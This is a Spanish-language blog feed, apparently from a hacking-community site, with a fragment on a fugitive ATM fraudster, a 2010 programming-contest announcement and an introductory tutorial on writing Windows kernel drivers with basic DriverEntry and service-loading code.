10 meses transcurrieron desde su fuga, pero recién trascendió esta semana, cuando la División de Delitos Bancarios pidió su captura internacional.

Se investiga si los guardias que lo trasladaron al hospital tuvieron que ver en su fuga, pero la duda principal es porque se tardo tanto en dar el alerta y pedir su captura.
Hoy por hoy, 10 meses después, Fernando Gabriel Pereiro pudo haber cambiado de apariencia, haber viajado a la otra punta del mundo, e incluso instalado su sistema de fraude en otros cajeros automáticos. Por supuesto, tuvo -y tiene- tiempo suficiente para perfeccionarlo.
Historia de un delincuente de guante blanco, que mantiene en vilo a la justicia Argentina desde hace 5 años.

[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net

2010-10-22T04:50:00.005-03:00

Concurso de desarrollo de aplicaciones

Llego el dia del concurso. Esta es la oportunidad para comenzar a desarrollar lo que gusten en el lenguaje que deseen y demostrar lo que pueden hacer.
Es una competencia, pero la idea principal es divertirse, pasarla bien, y aprender entre todos con los proyectos que se expongan.
Cualquiera, y repito, cualquiera puede participar. No hace falta ser ningún guru en ningún lenguaje, solo tener un poco de imaginación y ganas de programar.

Premios

Primer puesto:

Directo de la tienda oficial de elhacker.net, una alfombrilla de ratón con la posibilidad de elegir entre dos diseños!

Segundo puesto:: Una cuenta de @elhacker.net!
Tercer puesto:: Una cuenta de @elhacker.net!
El resto: Haberse divertido en el desarrollo y de seguro haber aprendido algo nuevo. Y por supuesto, la satisfacción de pasar un buen rato programando y compartiendo sus experiencias con la comunidad.

Bases del concurso:

Para participar hay que desarrollar una herramienta y presentarla junto con su código correspondiente. Tanto el objetivo de la aplicacion como el lenguaje a utilizar son de libre elección, por lo tanto hay basicamente una gran libertad para desarrollar lo que sea respecto del área que mas les agrade a cada uno.

Por supuesto, la aplicacion debe ser open source, ya que de esta forma podemos apreciar el espectro completo de la herramienta al poder ver su codigo completamente.

El post para participar debe tener una estructura similar a esta:

Nombre del autor
Nombre de la herramienta
Lenguaje(s) en los que está diseñado
Descripción del trabajo
Link de descarga que contendrá el código fuente y el archivo ejecutable
Captura de pantalla (en el caso de tener interfaz)

Es altamente recomendable que junto con la descarga del código y del ejecutable haya un archivo readme que contenga las instrucciones que sean necesarias que por motivos de espacio hayan quedado fuera del post de participación.

Plazos de participación:

El periodo de entrega de las aplicaciones comienza el día 23 de noviembre y finalizara el día 30 de noviembre, por lo tanto hasta que comience el periodo de entrega he creado este hilo para que los que tengan dudas respecto del concurso puedan preguntarlas allí.

El dia 23 de noviembre, este hilo sera reabierto y solo la publicación de las aplicaciones sera aceptada. Al finalizar el periodo de entrega, el día 30 de noviembre, comenzaran las votaciones que duraran 2 semanas completas.

Votaciones:

Al comenzar el periodo de votación, los usuarios tendrán la chance de elegir la aplicacion que mas les guste durante el periodo expuesto. Finalizado el periodo, no se podrán emitir mas votos.

Menciones especiales:

Habrá dos menciones especiales:

Premio a la innovación.
Premio al mejor código.

Cada mención otorga +5% extra calculado mediante los votos totales de la encuesta, pudiendo obtener un +10% extra si se obtienen ambas menciones.

Los moderadores de las secciones de programacion, junto con los miembros del staff, son los que deciden estas dos menciones especiales. Por supuesto nadie podrá votar su propia aplicacion para ninguna mención especial y quien quiera puede abstenerse de votar.

Deberán enviarme un pm con una estructura similar a:

Premio a la innovación: Nombre del autor - nombre de la aplicación.
Premio al mejor código: Nombre del autor - nombre de la aplicación.

Pudiendo dejar en blanco alguno de los dos campos. En el caso de no decidirse por ningún candidato, simplemente no enviar el pm.

El periodo para enviar los votos para la mención especial finaliza el mismo día que las votaciones generales, ese día haré el recuento y el ganador obtendrá su +5%/+10% sumado a los votos que ya tenga en la encuesta general.

Reglas:

100 reglas:

1) Las aplicaciones al estilo "Hola mundo" con menos de 10/20 lineas de código (dependiendo el lenguaje) serán descalificados. Cualquier duda respecto del criterio a seguir, leer el FAQ en el hilo de dudas

2) Cualquier aplicacion que no contenga su código fuente sera descalificada sin posibilidad de volver a presentarla.

3) Cualquier aplicacion que ya hayas posteado en el foro hace mas de 1 año, no puede ser presentada al menos que esta presente un re-diseño u alguna modificación en sus funciones.

4) Se pueden postear aplicaciones relacionadas con el malware ya sean troyanos, virus etc. Pero esto debe quedar bien en claro en la descripción al postear la aplicacion. Es decir, cualquier intento de engaño para infectar usuarios sera motivo de baneo permanente.

Recomendaciones:

Si tenes alguna duda respecto del concurso, puedes hacer una consulta en el hilo de dudas o enviándome un pm.

Si tenes alguna duda respecto de una aplicacion y su funcionamiento, no dudes en enviarle pm al creador correspondiente.

Ante la duda, puedes subir cualquier aplicacion ya sea a VirusTotal u a NoVirusThanks.

Por supuesto, también puedes usar una maquina virtual para probar las aplicaciones.

Happy coding!

Password reuse

2010-10-22T04:42:00.000-03:00

Principios básicos de desarrollo de drivers en Windows.

2010-10-09T11:08:00.016-03:00

Introducción

Encontrar información sobre el desarrollo de drivers no siempre es tarea fácil, sin importar el sistema operativo del cual estemos hablando.

Normalmente, lo ideal para entender este tipo de temas correctamente es leer libros especializados en el tema u ir directamente a las fuentes. Suele ser lo correcto ya que el tema es complejo, largo y puede volverse pesado para quien se apure en entender todos los conceptos implicados.
Por ahora, esto no sera mas que una introducción, por lo tanto tratare que sea breve. Es solo un intento de dar una perspectiva general sobre este tema y con esto lograr que mas gente decida a interiorizarse en el, con suerte mas adelante podremos ver técnicas y/o conceptos mas avanzados y que la mayoría los entiendan.

subsystem, ¿que es?

Es ideal conocer a fondo las herramientas que estamos utilizando, y con esto no solo me refiero al lenguaje, si no tambien al entorno de trabajo que utilicemos.

El proceso de compilado y linkeado genera un binario adecuado para que el sistema operativo en el cual estemos pueda comprenderlo. En Windows, este formato es lo que varios conocen como PE (Portable Executable Format)

Alrededor de PE, tenemos un concepto llamado subsystem. Un subsystem, entre otras opciones incluidas en la información del header PE, describe como cargar un ejecutable que también incluye el punto de entrada (Entry Point) en el binario.

Conociendo tus herramientas.

Posiblemente muchos recién se enteran lo que es un subsystem, y esto se debe a que generalmente en la etapa de aprendizaje de lenguajes como C/C++, uno puede simplemente descargar un IDE y ponerse a trabajar. Los errores no causan tantos problemas cuando todavía no salimos del modo usuario.
Por ejemplo, las personas que utilizan Visual C++, habrán hecho ya alguna aplicacion en consola u alguna aplicacion para Windows. Al crear el proyecto, el subsystem viene predefinido, tal como /SUBSYSTEM:CONSOLE o /SUBSYSTEM:WINDOWS.

La novedad en todo esto, es que un driver es linkeado con otro tipo de subsystem, llamado NATIVE.

MSDN /SUBSYSTEM

NATIVE

Device drivers for Windows NT. If /DRIVER:WDM is specified, NATIVE is the default.

Los drivers también tienen un "main".

Por supuesto, los drivers también tienen un main, un Entry Point.

Si sabemos que es un driver lo que vamos a realizar, basta con que el main reciba los parámetros adecuados y retorne lo esperado para un driver. El sistema se encargara de cargar el driver cuando lo requiramos y darse cuenta que es un driver.
Podemos utilizar cualquier nombre como Entry Point, pero por convención en Windows se utiliza DriverEntry.
Si estas utilizando el DDK, al seleccionar que vas a construir un driver se utilizan una serie de opciones predefinidas. Esta es la razón por la cual DriverEntry se convirtió en algo similar al Entry Point oficial.
Al especificar /DRIVER, tenemos tambien otras opciones, directo de la MSDN:

Use the /DRIVER linker option to build a Windows NT kernel mode driver.

The UPONLY keyword causes the linker to add the IMAGE_FILE_UP_SYSTEM_ONLY bit to the characteristics in the output header to specify that it is a uniprocessor (UP) driver. The operating system will refuse to load a UP driver on a multiprocessor (MP) system.

The WDM keyword causes the linker to set the IMAGE_DLLCHARACTERISTICS_WDM_DRIVER bit in the optional header's DllCharacteristics field. WDM video capture was designed to resolve the problems inherent in the Video for Windows architecture.

En este caso utilizaremos:

/SUBSYSTEM:NATIVE /DRIVER:WDM -entry:DriverEntry

Conceptos básicos. Lo que debes saber.

Antes de comenzar, hay que cambiar la mentalidad de "Compilar y probar" que todos solemos adquirir mientras aprendemos a programar en modo usuario.
En el mundo de los drivers la situación cambia y lo hace en forma drástica.
Como mínimo podrías ocasionar un BSOD, y si estamos ante un driver que iniciara siempre con el sistema, tenemos un problema.
Igualmente, nada que no puedas revertir entrando en modo seguro u volviendo a configuraciones previas, pero esto solo cabe en las practicas y no en casos reales.
En conclusión, no compiles y pruebes el código de un driver al menos que entiendas a ciencia cierta que es lo que realiza, y mas aun si antes de compilarlo vas a modificar secciones del código.

Cabe recordar, que esta es solo una introducción de los conceptos básicos, por lo tanto quien quiera interiorizarse a fondo no le queda mas alternativa que revisar la MSDN u libros como "Programming the Windows Driver Model".

Interrupt Request Level

Abreviado como IRQL, partamos de la definición del DDK:

The priority ranking of an interrupt. A processor has an IRQL setting that threads can raise or lower. Interrupts that occur at or below the processor's IRQL setting are masked and will not interfere with the current operation. Interrupts that occur above the processor's IRQL setting take precedence over the current operation.

The particular IRQL at which a piece of kernel-mode code executes determines its hardware priority. Kernel-mode code is always interruptible: an interrupt with a higher IRQL value can occur at any time, thereby causing another piece of kernel-mode code with the system-assigned higher IRQL to be run immediately on that processor. In other words, when a piece of code runs at a given IRQL, the Kernel masks off all interrupt vectors with a lesser or equal IRQL value on the microprocessor.

Si, puede ser difícil de comprender a la primer lectura, por eso vamos a intentar explicarlo en términos mas sencillos.

El IRQL de un procesador ayuda a especificar como un determinado thread puede ser interrumpido. Dicho thread solo puede ser interrumpido mediante código por un nivel mas alto de IRQL en el mismo procesador.

En estas épocas, es normal ver equipos con varios procesadores. En esos casos cada procesador corre en su propio IRQL

Estos 4 niveles serán con los que tendrás que trabajar normalmente.

Normalmente las APIs llevan una pequeña nota aclarando en que nivel de IRQL necesitas estar para poder utilizar determinada API. En reglas generales, a mas alto sea el nivel, menos APIs podes utilizar.

     1) Passive

     2) APC (Asynchronous Procedure Calls)

     3) Dispatch

     4) DIRQL

1) PASSIVE_LEVEL



Interrupts Masked Off — None.

Driver Routines Called at PASSIVE_LEVEL — DriverEntry, AddDevice, Reinitialize, Unload routines, most dispatch routines, driver-created threads, worker-thread callbacks.

El nivel mas bajo. En este nivel corre un thread que se ejecute en modo usuario.

2) APC_LEVEL

Interrupts Masked Off — APC_LEVEL interrupts are masked off.

Driver Routines Called at APC_LEVEL — Some dispatch routines (see Dispatch Routines and IRQLs).

Este es el nivel donde ocurren las "Asynchronous Procedure Calls". Cuando ocurre una APC, el nivel del procesador se aumenta a APC_LEVEL.

3) DISPATCH_LEVEL

Interrupts Masked Off — DISPATCH_LEVEL and APC_LEVEL interrupts are masked off. Device, clock, and power failure interrupts can occur.

Driver Routines Called at DISPATCH_LEVEL — StartIo, AdapterControl, AdapterListControl, ControllerControl, IoTimer, Cancel (while holding the cancel spin lock), DpcForIsr, CustomTimerDpc, CustomDpc routines.

La memoria paginada no es accesible en este nivel, por lo tanto toda la memoria accesible debe ser no-paginada. Esto ocasiona que disminuya en gran parte la cantidad de APIs que podes utilizar.

4) DIRQL

Interrupts Masked Off — All interrupts at IRQL<= DIRQL of driver's interrupt object. Device interrupts with a higher DIRQL value can occur, along with clock and power failure interrupts.

Driver Routines Called at DIRQL — InterruptService, SynchCritSection routines.

En este nivel generalmente un driver no lidia con interrupciones. Es mas que nada una forma de conocer que dispositivos tienen prioridad sobre otros.

I/O Request Packet

Abreviado IRP, básicamente es una estructura que permite a diferentes drivers comunicarse entre si y requerir tareas a finalizar.
El manejo de IRPs puede ser muy simple u demasiado complejo dependiendo de cual sea la estructura de los drivers.
El IRP también contendrá "peticiones secundarias", conocido como "IRP Stack Location". Cada driver contendrá sus propias peticiones secundarias respecto de como interpretar el IRP, denominada IO_STACK_LOCATION.

Creando el DriverEntry

Comenzando con un poco de código, el prototipo del DriverEntry:

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,

```
PUNICODE_STRING pRegistryPath);
```

DRIVER_OBJECT es una estructura que representa el driver. Este objeto contiene un puntero a DEVICE_OBJECT, la cual es otra estructura que representa un dispositivo en particular.
Un solo driver puede manejar múltiples dispositivos, y tal así, DRIVER_OBJETCT mantiene una lista de todos los dispositivos que para los cuales ese driver maneja peticiones.

Registrypath es una cadena que apunta a una ubicacion en el registro donde la informacion para el driver fue guardada. El driver puede utilizar luego esta ubicacion para guardar informacion especifica.

Veamos la primer parte de nuestra rutina de entrada:

NTSTATUS DriverEntry(PDRIVER_OBJECT  pDriverObject,

```
PUNICODE_STRING  pRegistryPath)
```
```
{
```
```
NTSTATUS NtStatus = STATUS_SUCCESS;
```
```
UINT uiIndex = 0;
```
```
PDEVICE_OBJECT pDeviceObject = NULL;
```

UNICODE_STRING DriverName, DosDeviceName;

```
 
```
```
DbgPrint("DriverEntry!\n");
```
```
 
```

RtlInitUnicodeString(&DriverName, L"\\Device\\ehn");

RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\ehn");

```
 
```

NtStatus = IoCreateDevice(pDriverObject, 0,

```
&DriverName, 
```

FILE_DEVICE_UNKNOWN,

```
FILE_DEVICE_SECURE_OPEN, 
```
```
FALSE, &pDeviceObject);
```

Lo primero que se nota es la llamada a DbgPrint, esta funciona como el printf de toda la vida, pero en este caso el output va a parar al kernel debugger. Estos mensajes se pueden ver perfectamente con una herramienta como DbgView de Sysinternals

RtlInitUnicodeString inicializa una estructura del tipo UNICODE_STRING.

Esta estructura esta definida de tal modo que:

```
typedef struct _LSA_UNICODE_STRING {
```
```
USHORT Length;
```
```
USHORT MaximumLength;
```
```
PWSTR  Buffer;
```
```
}  LSA_UNICODE_STRING, 
```
```
*PLSA_UNICODE_STRING, 
```
```
UNICODE_STRING, 
```
```
*PUNICODE_STRING;
```

Donde "Lenght" es la longitud actual de la cadena.
      "MaximunLenght" es el tamaño maximo que la cadena puede tener.
      "Buffer" es el puntero a la cadena.

Como podemos ver, esta estructura contiene el tamaño de la cadena, por lo tanto no necesitamos 
verificar si la cadena esta terminada en NULL.
Luego de crear el dispositivo, ahora queda configurar el Driver Object para que llame a nuestro driver 
cuando ciertas peticiones se realicen. 
Estas peticiones se denominan IRP Major requests. Existen tambien las denominadas Minor requests 
a las cuales nos referimos con anterioridad como peticiones secundarias, 
se encuentran en el stack location del IRP.
for(uiIndex = 0; uiIndex < IRP_MJ_MAXIMUM_FUNCTION; uiIndex++)
pDriverObject->MajorFunction[uiIndex] = ehn_UnSupportedFunction;
 
pDriverObject->MajorFunction[IRP_MJ_CLOSE]           =ehn_Close;
pDriverObject->MajorFunction[IRP_MJ_CREATE]          =ehn_Create;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  =ehn_DeviceControl;
pDriverObject->MajorFunction[IRP_MJ_READ]            =ehn_Read;
pDriverObject->MajorFunction[IRP_MJ_WRITE]           =ehn_Write;

Es decir, cuando una aplicación en modo usuario llame a algunas de estas funciones:


     * CreateFile

     * CloseHandle

     * WriteFile

     * ReadFile

     * DeviceIoControl

se llamara a tu driver.



Rutina Unload



Lo siguiente es la función de descarga del driver:

pDriverObject->DriverUnload =  ehn_Unload;

En realidad la rutina de descarga solo se necesita si queres descargar tu driver en forma dinámica, en ese caso la rutina debe ser especificada. Si no se especifica una función de descarga, el sistema no dejara que el driver sea descargado.
Esta es, por ejemplo, una forma simple de rutina de descarga:

void Example_Unload(PDRIVER_OBJECT  DriverObject)

```
{    
```
```
 
```
```
UNICODE_STRING DosDeviceName;
```
```
 
```
```
DbgPrint("Unload!!\n");
```
```
 
```

RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\ehn");

```
IoDeleteSymbolicLink(&DosDeviceName);
```
```
 
```

IoDeleteDevice(DriverObject->DeviceObject);

```
}
```

Definir las otras funciones es tarea para el hogar ya que creo es la parte mas divertida de todo esto y la que supongo motivara mas para los que quieran interiorizarse en el tema.

Igualmente este ejemplo es de lo mas básico y es el que se utiliza para comprender estos conceptos por lo tanto probablemente al buscar los conceptos que faltan para definir lo necesario se encuentren con ejemplos conceptualmente similares, por lo tanto la dificultad es casi nula pero si sera bastante divertido de seguro.

Cargar y descargar el driver en forma dinámica.

```
int _cdecl main()
```
```
{
```
```
HANDLE HSmng,HServ;
```
```
SERVICE_STATUS Sstatus;
```
```
 
```

HSmng = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);

```
 
```
```
printf("Cargando el driver!\n");
```
```
 
```
```
if(HSmng)
```
```
{
```
```
HServ = CreateService(HSmng, "ehn", 
```
```
"ehn driver", 
```
```
SERVICE_START | DELETE | SERVICE_STOP, 
```
```
SERVICE_KERNEL_DRIVER,
```
```
SERVICE_DEMAND_START, 
```
```
SERVICE_ERROR_IGNORE, 
```
```
"C:\\ehn.sys", 
```
```
NULL, NULL, NULL, NULL, NULL);
```
```
 
```
```
if(!HServ)
```

HServ = OpenService(HSmng, "ehn", SERVICE_START |

```
DELETE | 
```
```
SERVICE_STOP);
```
```
 
```
```
 
```
```
if(HServ)
```
```
{
```
```
printf("Iniciando servicio\n");
```
```
 
```
```
StartService(HServ, 0, NULL);
```

printf("Presione una tecla para cerrar el servicio\n");

```
getchar();
```

ControlService(HServ, SERVICE_CONTROL_STOP, &Sstatus);

```
 
```
```
DeleteService(HServ);
```
```
 
```
```
CloseServiceHandle(HServ);
```
```
 
```
```
}
```
```
 
```
```
CloseServiceHandle(HSmng);
```
```
}
```
```
 
```
```
return EXIT_SUCESS;
```
```
}
```
```
 
```
```
 
```

Para cualquier detalle respecto de las APIs utilizadas, referirse a la documentación del DDK y de la MSDN.

return EXIT_SUCESS

Luego de definir las funciones correspondientes en el driver, al utilizar las APIs desde modo usuario podrán comprobar que secciones de código se utilizan de su driver, incluso al definir las funciones que restan les basta con poner algunos dbgprint para luego ver con dbgview que es exactamente lo que se esta ejecutando.

Lo que no hay que hacer

Toda área tiene una lista de cosas que NO hay que hacerse, el desarrollo de drivers no es la excepción y Microsoft se encargo de resaltar este tipo de errores.
Como ejemplo, las primeras 10, hay mas en el link:

Never return STATUS_PENDING from a dispatch routine without marking the I/O request packet (IRP) pending (IoMarkIrpPending).

Never call KeSynchronizeExecution from an interrupt service routine (ISR). It will deadlock your system.

Never set DeviceObject->Flags to both DO_BUFFERED_IO and DO_DIRECT_IO. It can confuse the system and eventually lead to fatal error. Also, never set METHOD_BUFFERED, METHOD_NEITHER, METHOD_IN_DIRECT or METHOD_OUT_DIRECT in DeviceObject->Flags, because these values are only used in defining IOCTLs.

Never allocate dispatcher objects from a paged pool. If you do, it will cause occasional system bugchecks.

Never allocate memory from paged pool, or access memory in paged pool, while running at IRQL >= DISPATCH_LEVEL. It is a fatal error.

Never wait on a kernel dispatcher object for a nonzero interval at IRQL >= DISPATCH_LEVEL. It is a fatal error.

Never call any function that causes the calling thread to wait directly or indirectly while executing at IRQL >= DISPATCH_LEVEL. It is a fatal error.

Never lower the interrupt request level (IRQL) below the level at which your top-level routine has been invoked.

Never call KeLowerIrql() if you haven't called KeRaiseIrql().

Never stall a processor (KeStallExecutionProcessor) longer than 50 microseconds.

Referencias

Lectura recomendada para los que quieran interiorizarse y/o iniciarse en este tema.

WDK

Peering Inside the PE: A Tour of the Win32 Portable Executable File Format

Key driver concepts

Getting started: Writing Windows drivers

Libros:

"Programming the windows driver model"